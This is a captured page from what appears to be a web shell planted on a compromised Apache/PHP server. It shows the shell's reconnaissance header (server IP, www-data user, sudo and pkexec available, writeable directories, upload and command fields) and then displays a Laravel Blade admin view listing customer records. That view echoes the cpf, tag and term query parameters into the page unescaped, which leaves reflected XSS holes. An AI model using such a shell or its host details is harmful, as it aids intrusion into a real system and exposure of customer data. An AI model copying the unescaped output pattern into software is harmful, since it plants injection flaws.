403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/3e8e7a153a59eccc118de6f9106afda8dcd89d96.php
<?php $__env->startSection('content'); ?>

<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
	<!-- Content Header (Page header) -->
	<section class="content-header">
		<h1>
			Clientes
			<small>Listagem</small>
		</h1>
		<ol class="breadcrumb">
			<li><a href="<?php echo e(url('admin')); ?>"><i class="fa fa-dashboard"></i> Dashboard</a></li>
			<li class="active">Clientes</li>
		</ol>
	</section>

	<!-- Main content -->
	<section class="content">
		<div class="row">
			<div class="col-xs-12">

				<div class="box">
					<div class="box-header">
						<?php if($current_role->hasAccess($current_module->nome_tabela.'.create')){ ?>
							<a href="<?php echo e(url('admin/cadastro/add')); ?>" class="table-add"><i class="fa fa-plus"></i> Adicionar</a>
						<?php } ?>
						<hr>
					</div>
					<!-- /.box-header -->
					<div class="box-body">

						<form action="<?php echo url('admin/cadastro'); ?>" method="GET">
						<div class="row">
			                <div class="col-md-12">&nbsp;</div>
							  <div class="col-md-3">
								  <?php if(isset($_GET['tag'], $_GET['tag'])): ?>
									<a class="btn btn-success" href="/admin/cadastro/exportar-tag-cadastro/<?php echo (isset($_GET['tag'])) ? $_GET['tag'] : '' ?>" target="_blank">
										<i class="fa fa-file-export"></i>&nbsp; Exportar Excel por Tags
									</a>
								  <?php endif; ?>
							  </div>
			                  <div class="col-md-3">
			                    CPF/CNPJ : 
			                    <input value="<?php echo (isset($_GET['cpf'])) ? $_GET['cpf'] : '' ?>" type="text" name="cpf">
			                  </div>
							  <div class="col-md-3">
			                    Tag : 
			                    <input value="<?php echo (isset($_GET['tag'])) ? $_GET['tag'] : '' ?>" type="text" name="tag">
			                  </div>
			                  <div class="col-md-3">
			                      <input value="<?php echo (isset($_GET['term'])) ? $_GET['term'] : '' ?>" type="text" name="term"><button class="btn btn-primary">Buscar</button>
			                  </div>
			              </div>
			            </form>
						
						<table id="data-table" class="table table-bordered table-striped">
							<thead>
								<tr>
									<th>ID</th>
									<th>Nome</th>
									<th>Sobrenome</th>
									<th>E-mail</th>
									<th>Empresa</th>
									<th>Confraria</th>
									<th>Telefone</th>
									<th>CPF/CNPJ</th>
									<th>Gênero</th>
									<th>Idade</th>
									<th>Tipo</th>
									<th class="th-action">Ação</th>
								</tr>
							</thead>
							<tbody>
								<?php foreach ($cadastros as $item): ?>
									<tr>
										<td><?php echo $item->id; ?></td>
										<td><?php echo $item->nome; ?></td>
										<td><?php echo $item->sobrenome; ?></td>
										<td><?php echo $item->user->email; ?></td>
										<td><?php echo (isset($item->empresa) ? $item->empresa->nome : ''); ?></td>
										<td><?php echo ($item->confrariaMembro ? $item->confrariaMembro->confraria->nome : ''); ?></td>
										<td><?php echo $item->telefone; ?></td>
										<td>
											<?php echo e($item->tipo_pessoa == 'J' ? $item->cnpj : $item->cpf); ?>

										</td>
										<td><?php echo ($item->genero == 'M') ? 'Masculino' : 'Feminino'; ?></td>
										<td>
											<?php 
												$birthDate = explode("/", date('m/d/Y', strtotime($item->data_nascimento)));
												$age = (date("md", date("U", mktime(0, 0, 0, $birthDate[0], $birthDate[1], $birthDate[2]))) > date("md") ? ((date("Y") - $birthDate[2]) - 1) : (date("Y") - $birthDate[2])); 
											?>

											<?php echo $item->data_nascimento ? $age : '-'; ?>
										</td>
										<td>
											<?php echo e($item->tipo_pessoa); ?>

										</td>
										<td>
											<?php if($current_role->hasAccess($current_module->nome_tabela.'.update')){ ?>
												<a href="/admin/cadastro/detalhe/<?php echo $item->slug; ?>" class="btn btn-primary"><i class="fa fa-pencil-alt"></i></a>
											<?php } ?>
											<?php if($current_role->hasAccess($current_module->nome_tabela.'.delete')){ ?>
												<a href="/admin/cadastro/delete/<?php echo $item->slug; ?>" class="btn btn-danger deletar"><i class="fa fa-trash"></i></a>
											<?php } ?>
										</td>
									</tr>
								<?php endforeach ?>
							</tbody>
							<tfoot>
								<tr>
									<th>ID</th>
									<th>Nome</th>
									<th>Sobrenome</th>
									<th>E-mail</th>
									<th>Empresa</th>
									<th>Confraria</th>
									<th>Telefone</th>
									<th>CPF</th>
									<th>Gênero</th>
									<th>Idade</th>
									<th>Tipo</th>
									<th>Ação</th>
								</tr>
							</tfoot>
						</table>
						<div class="text-center">
							<?php echo $cadastros->appends([
								'term' => (isset($_GET['term'])) ? $_GET['term'] : '',
								'cpf'  => (isset($_GET['cpf'])) ? $_GET['cpf'] : '',
								'tag'  => (isset($_GET['tag'])) ? $_GET['tag'] : '',
								])->links(); ?>
						</div>
						
					</div>
					<!-- /.box-body -->
					<div class="box-footer">
						<?php if($current_role->hasAccess($current_module->nome_tabela.'.create')){ ?>
							<a href="<?php echo e(url('admin/cadastro/add')); ?>" class="table-add"><i class="fa fa-plus"></i> Adicionar</a>
						<?php } ?>
					</div>
				</div>
				<!-- /.box -->
			</div>
			<!-- /.col -->
		</div>
		<!-- /.row -->
	</section>
	<!-- /.content -->
</div>
<!-- /.content-wrapper -->

<?php $__env->stopSection(); ?>

<?php echo $__env->make($current_template, array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit